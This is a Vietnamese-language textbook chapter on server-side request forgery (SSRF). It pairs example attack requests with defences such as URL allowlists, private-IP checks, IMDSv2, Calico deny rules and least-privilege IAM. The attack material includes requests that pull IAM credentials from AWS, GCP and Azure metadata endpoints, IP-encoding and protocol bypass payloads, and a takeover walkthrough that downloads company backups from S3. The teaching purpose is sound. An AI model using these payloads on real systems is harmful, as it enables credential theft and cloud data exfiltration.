Chương 15: SSRF — Server-Side Request Forgery
Khái niệm
SSRF (Server-Side Request Forgery — Giả mạo yêu cầu phía server) là lỗ hổng cho phép hacker khiến server thực hiện HTTP requests đến địa chỉ tùy ý — thường là internal services không accessible từ internet.
Mức độ nguy hiểm: Rất cao — SSRF là cổng vào internal network. Trong cloud environment, SSRF có thể dẫn đến credential theft từ metadata API và full cloud account takeover.
SSRF đặc biệt nguy hiểm trong cloud và microservices architecture.
Cách hoạt động
# App có feature load ảnh từ URL
def load_image(url):
response = requests.get(url) # Server fetch URL
return response.content
# Normal: url = "https://example.com/logo.png"
# Attack: url = "http://169.254.169.254/latest/meta-data/"
# → Server fetch AWS metadata → lộ IAM credentials!
Các loại SSRF
1. Basic SSRF — Hiển thị response
Server fetch URL và trả về content cho user.
POST /api/fetch-profile HTTP/1.1
Content-Type: application/json
{"avatar_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
Response:
{
"content": "my-ec2-role\n"
}
Tiếp tục:
{"avatar_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/my-ec2-role"}
Response:
{
"content": "{
\"AccessKeyId\": \"ASIA...\",
\"SecretAccessKey\": \"...\",
\"Token\": \"...\",
\"Expiration\": \"2024-01-01T00:00:00Z\"
}"
}
2. Blind SSRF — Không thấy response
Server fetch URL nhưng không trả về content. Chỉ biết qua side effects.
- Thay đổi response time (target accessible vs. not)
- Out-of-band: server gửi DNS query hoặc HTTP request đến attacker server
Detection:
# Dùng Burp Collaborator (Pro) hoặc interactsh
{"webhook_url": "https://YOUR_BURP_COLLABORATOR_URL"}
# Nếu server fetch URL → Collaborator nhận request → SSRF confirmed
3. SSRF với localhost bypass authentication
Nhiều internal services tin tưởng connections từ localhost (127.0.0.1):
# Admin panel ẩn, chỉ accessible từ localhost
GET /admin HTTP/1.1
Host: example.com
→ 403 Forbidden (từ internet)
# Qua SSRF: server tự request đến chính nó
{"url": "http://127.0.0.1/admin"}
→ Server fetch → Admin panel accessible → 200 OK
4. SSRF vào Internal Services
# Scan internal network
{"url": "http://10.0.0.1:8080"} → Internal service
{"url": "http://192.168.1.1"} → Router admin panel
{"url": "http://172.16.0.1:6379"} → Redis
{"url": "http://10.0.0.5:9200"} → Elasticsearch
{"url": "http://10.0.0.10:27017"} → MongoDB
# Internal Kubernetes services
{"url": "http://kubernetes.default.svc.cluster.local"}
{"url": "http://kube-apiserver:6443"}
SSRF trong Cloud — Metadata API
Cloud providers có metadata service tại địa chỉ cố định:
AWS IMDSv1 (Vulnerable — Legacy)
http://169.254.169.254/latest/meta-data/
# Lấy IAM credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# Response:
{
"Code": "Success",
"LastUpdated": "2024-01-01T00:00:00Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "AQoXnyc4lcK4w...",
"Expiration": "2024-01-01T06:00:00Z"
}
# Dùng credentials để access AWS services!
export AWS_ACCESS_KEY_ID=ASIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/...
export AWS_SESSION_TOKEN=AQoXnyc4lcK4w...
aws s3 ls # Access S3 với quyền của EC2 role
AWS IMDSv2 (Phòng chống SSRF)
# IMDSv2 yêu cầu PUT request trước để lấy token
# SSRF qua fetch() không thể làm PUT request với custom header
# → Phòng chống SSRF attacks
curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
→ TTL_TOKEN
curl -H "X-aws-ec2-metadata-token: $TTL_TOKEN" \
http://169.254.169.254/latest/meta-data/
GCP Metadata
http://metadata.google.internal/computeMetadata/v1/
# Cần header: Metadata-Flavor: Google
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
→ Lấy access token của GCP service account
http://metadata.google.internal/computeMetadata/v1/project/project-id
→ Lấy project ID
Azure Metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Cần header: Metadata: true
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
→ Lấy Azure managed identity token
SSRF Bypass Techniques
Bypass IP-based blocklist
# Thay 127.0.0.1 bằng các cách biểu diễn khác
127.0.0.1 → Bị block
127.1 → IPv4 short form
127.000.000.1 → Octal octets
0x7f000001 → Hex
2130706433 → Decimal (int representation)
::1 → IPv6 localhost
[::1] → IPv6 brackets
0177.0.0.1 → Octal
# Thay 169.254.169.254
2852039166 → Decimal
0xa9fea9fe → Hex
169.254.169.254 → Standard
http://169.254.169.254 → có thể bị block nguyên URL
DNS Rebinding
1. Hacker register domain: attacker.com
2. DNS server của hacker trả về 169.254.169.254 (TTL=0)
3. App resolve attacker.com → 169.254.169.254 không bị cache (TTL=0)
4. App fetch http://attacker.com → thực ra request đến 169.254.169.254
URL Encoding Bypass
http://127.0.0.1 → bị check
http://127.0.0.1%0a.example.com → URL decode → có thể bypass
http://%31%32%37%2e%30%2e%30%2e%31 → 127.0.0.1 encoded
# Double URL encoding
%2561 → %61 → a
Redirect Bypass
1. App check URL → OK (example.com)
2. Fetch URL → 302 Redirect → 169.254.169.254
3. App follow redirect → metadata accessed!
# Host open redirect
{"url": "https://example.com/redirect?to=http://169.254.169.254/"}
Protocol Alternatives
http://169.254.169.254 → check
file:///etc/passwd → đọc file local
gopher://127.0.0.1:25/ → interact với SMTP
gopher://127.0.0.1:6379/ → interact với Redis
dict://127.0.0.1:6379/ → Redis dict protocol
sftp://attacker.com → SFTP
Kịch bản tấn công: Cloud Account Takeover
Target: Web app chạy trên AWS EC2 với IAM role có quyền S3 full access
1. Find SSRF:
POST /api/screenshot?url=...
→ App fetch URL và render screenshot
2. Exploit SSRF:
POST /api/screenshot?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
→ Response: "webapp-role"
3. Get credentials:
POST /api/screenshot?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/webapp-role
→ Response: {AccessKeyId, SecretAccessKey, Token}
4. Use credentials từ laptop của hacker:
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws s3 ls # List all buckets
aws s3 sync s3://company-backups . # Download tất cả backups
aws iam list-users # Enum IAM users
Cách phát hiện
□ Features nào nhận URL input?
- Image upload từ URL
- Webhook configuration
- PDF/screenshot generation
- API proxy/integration
- Import data từ URL
- Preview URL features
□ Test với internal IPs:
http://127.0.0.1
http://localhost
http://169.254.169.254 (AWS metadata)
http://metadata.google.internal (GCP)
□ Test với Burp Collaborator:
URL → có request đến Collaborator không?
□ Check response time khác nhau cho accessible vs. non-accessible IPs
□ Error messages tiết lộ internal services
Phòng chống
1. Allowlist thay vì Blocklist
import ipaddress
from urllib.parse import urlparse
ALLOWED_DOMAINS = {
'example.com',
'api.example.com',
'storage.googleapis.com',
}
def validate_url(url: str) -> bool:
parsed = urlparse(url)
# Chỉ cho phép HTTPS
if parsed.scheme != 'https':
return False
# Whitelist domain (exact match)
hostname = parsed.netloc.split(':')[0].lower()
if hostname not in ALLOWED_DOMAINS:
return False
return True
def safe_fetch(url: str) -> bytes:
if not validate_url(url):
raise ValueError("URL not allowed")
response = requests.get(url, timeout=5, allow_redirects=False)
# Không follow redirects tự động
if response.is_redirect:
raise ValueError("Redirects not allowed")
return response.content
2. Network-Level Blocking
# Resolve hostname và check IP không phải private range
import socket
import ipaddress
PRIVATE_RANGES = [
ipaddress.ip_network('10.0.0.0/8'),
ipaddress.ip_network('172.16.0.0/12'),
ipaddress.ip_network('192.168.0.0/16'),
ipaddress.ip_network('127.0.0.0/8'),
ipaddress.ip_network('169.254.0.0/16'), # AWS metadata
ipaddress.ip_network('::1/128'), # IPv6 localhost
ipaddress.ip_network('fc00::/7'), # IPv6 private
]
def is_safe_ip(hostname: str) -> bool:
try:
ip = ipaddress.ip_address(socket.gethostbyname(hostname))
for private_range in PRIVATE_RANGES:
if ip in private_range:
return False
return True
except (socket.gaierror, ValueError):
return False
3. AWS IMDSv2 — Bắt buộc dùng
# Khi launch EC2, disable IMDSv1
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-put-response-hop-limit 1
# Terraform:
resource "aws_instance" "app" {
metadata_options {
http_endpoint = "enabled"
http_tokens = "required" # IMDSv2 required
http_put_response_hop_limit = 1
}
}
Góc nhìn DevOps
Kubernetes Network Policy — Block metadata access:
# Ngăn pods access AWS/GCP metadata service
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: block-metadata
spec:
podSelector: {} # Áp dụng cho tất cả pods
policyTypes:
- Egress
egress:
# Block 169.254.169.254 (metadata service)
# Kubernetes NetworkPolicy không hỗ trợ block by IP trực tiếp
# Dùng Calico hoặc Cilium NetworkPolicy cho IP-based rules
Với Calico:
apiVersion: projectcalico.org/v3
kind: GlobalNetworkPolicy
metadata:
name: block-metadata
spec:
selector: all()
types:
- Egress
egress:
- action: Deny
destination:
nets:
- "169.254.169.254/32" # AWS metadata
- "metadata.google.internal"
Service Account với minimal permissions:
// IAM role chỉ có quyền cần thiết
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["s3:GetObject"],
"Resource": "arn:aws:s3:::my-specific-bucket/*"
}
]
}
// Không phải s3:* hay sts:AssumeRole
Tóm tắt
- SSRF khiến server gửi requests đến internal services/metadata API.
- Trong cloud, SSRF → IMDSv1 metadata → IAM credentials → full account takeover.
- Bypass: hex/octal IP, DNS rebinding, redirect chains, alternative protocols.
- Phòng chống: URL allowlist (không blocklist), validate IP sau DNS resolution.
- AWS: bắt buộc IMDSv2 (http-tokens: required).
- Kubernetes: Network Policy block access đến metadata service.
- Least privilege IAM role — giảm impact khi SSRF xảy ra.
Câu hỏi ôn tập
- Tại sao SSRF trong cloud environment nguy hiểm hơn so với on-premises?
- AWS IMDSv2 ngăn chặn SSRF như thế nào? Tại sao IMDSv1 vulnerable?
- Blocklist approach kém hiệu quả hơn allowlist như thế nào? Cho ví dụ bypass.
- Khi validate URL để chống SSRF, tại sao cần resolve hostname và check IP?
- Mô tả DNS rebinding attack và tại sao nó bypass IP-based blocklist.